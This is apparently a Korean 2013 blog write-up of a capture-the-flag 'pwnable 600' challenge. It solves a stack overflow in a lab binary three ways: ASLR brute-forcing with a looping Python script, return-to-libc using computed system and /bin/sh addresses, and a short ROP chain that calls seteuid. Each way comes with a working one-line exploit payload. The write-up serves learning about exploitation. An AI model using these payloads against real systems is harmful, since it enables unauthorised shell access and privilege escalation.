본문 바로가기

2013년도 글/System

다각적으로 풀어본 포너블600

저번에 푼 ARS의 포너블 600문제의 질문이 들어온 겸 600문제를 다각적으로 풀어보았다.  


그전에 알아둬야 하는 점.


code 영역의 foo 함수라던가 main 함수까지는 주소가 랜덤하지 않다.


1. foo 함수 주소를 브루트포싱 하는 방법

foo에서 시스템 함수가 stack에서 입력을 받는데 aslr이 적용되어 stack의 주소가 계속 변경되어 인자가 불규칙하게 들어간다. 하지만 우분투는 aslr로 바뀌어봤자 2^12승만큼밖에 바뀌지 않는다. 따라서 foo 함수의 주소를 확인 한 후 계속해서 브루트포싱을 하면 쉘을 쉽게 딸 수 있다.  이때 일정 확률로 foo 뒤의 값을 foo안의 system인자로 받으므로 bash를 입력해준다.

 

foo:0x080484ac

./exploitme  $(python -c 'print "a"*8+"\xac\x84\x04\x08"+"bash"') 


을 반복해서 실행하는 파이썬 스크립트다.


import os


program_name=raw_input('program name?')

program_argv=raw_input('program argv?')


while True:

        os.system(program_name+' '+program_argv)



몇초 걸리지 않아 쉘이 따지는 모습을 볼 수 있다.


2. rtl을 이용한 방법


라이브러리엔 기본적으로 /bin/bash문자열이 들어있다. /lib/i386-linux-gnu/libc.so.6를 복사한 후 열어서 ida로 /bin/bash의 주소를 알아냈다.  


라이브러리 system:0x00041280

라이브러리 /bin/sh:0x00168ff8

차이(offset):0x127D78


메모리에 라이브러리가 올라갈때 그 imagebase는 바뀌지만 system과 /bin/sh의 간격(offset)은 바뀌지 않을 것이다. 따라서 위와 같이 오프셋을 구해놓고 프로그램을 실행시켜 라이브러리를 올린 뒤 print system으로 메모리상의 system 주소를 알아낸다. 그리고 system 함수의 plt 주소도 구해놓는다.



readelf -S ./exploit로 plt 의 주소를 알아낸다.  plt 테이블로 뛰어보면 다음과 같이 system의 plt 주소를 알 수 있다.





plt System  주소:0x08048370

메모리의 System 주소:0xb75cf280

메모리 /bin/sh:0xB76F6FF8 (메모리의 system 주소+offset)


따라서 익스플로잇 코드는 다음과 같다.


./exploitme  $(python -c 'print "a"*8+"\x70\x83\x04\x08"+"aaaa"+"\xF8\x6F\x6F\xB7"')


단, 이때 seteuid로 설정을 해주지 않았으므로 쉘은 따지지만 euid는 level7이지만 seteuid()호출을 하지 않았으므로 ruid는  다음과 같이 level6에 머무른다.





3.rop를 이용한 방법


rtl을 이용하면 ruid가 바뀌지 않기 때문에  seteuid를 호출한후 system을 호출해줘야 한다. 따라서 rop(rop라고 하기엔 민망할정도로 짧다)를 이용해서 풀면 이것이 가능하다.


편하게도 위의 foo함수에 seteuid를 호출하고 있으므로 foo의 함수를 실행시키고 그 리턴 어드레스에 시스템+/bin/bash의 주소를 넣어놓으면 쉘이 따질 것이다. 그래서 코드는 다음과 같다.


./exploitme  $(python -c 'print "a"*8+"\xac\x84\x04\x08"+"\x70\x83\x04\x08"+"aaaa"+"\xF8\x6F\x6F\xB7"')





풀면서 궁금해진점


1. aslr이 적용되어 있지 않다면 프로그램이 실행될 때마다 각각 라이브러리가 올라오는 주소는 항상 고정인가요?

2. aslr이 적용유무시 프로그램이 실행될 때마다 각각 got 테이블의 주소가 바뀌나요?

3. aslr이 적용유무시 프로그램이 실행될 때마다 각각 plt 테이블의 주소가 바뀌나요?





'2013년도 글 > System' 카테고리의 다른 글

[System] Buffer Overflow Foundation Document  (0) 2013.01.28
[System] Buffer Overflow part2.  (0) 2013.01.28
[System] Buffer Overflow Part1.  (0) 2013.01.28
[System] Malware Analysis  (0) 2013.01.24
[System] Malware  (0) 2013.01.24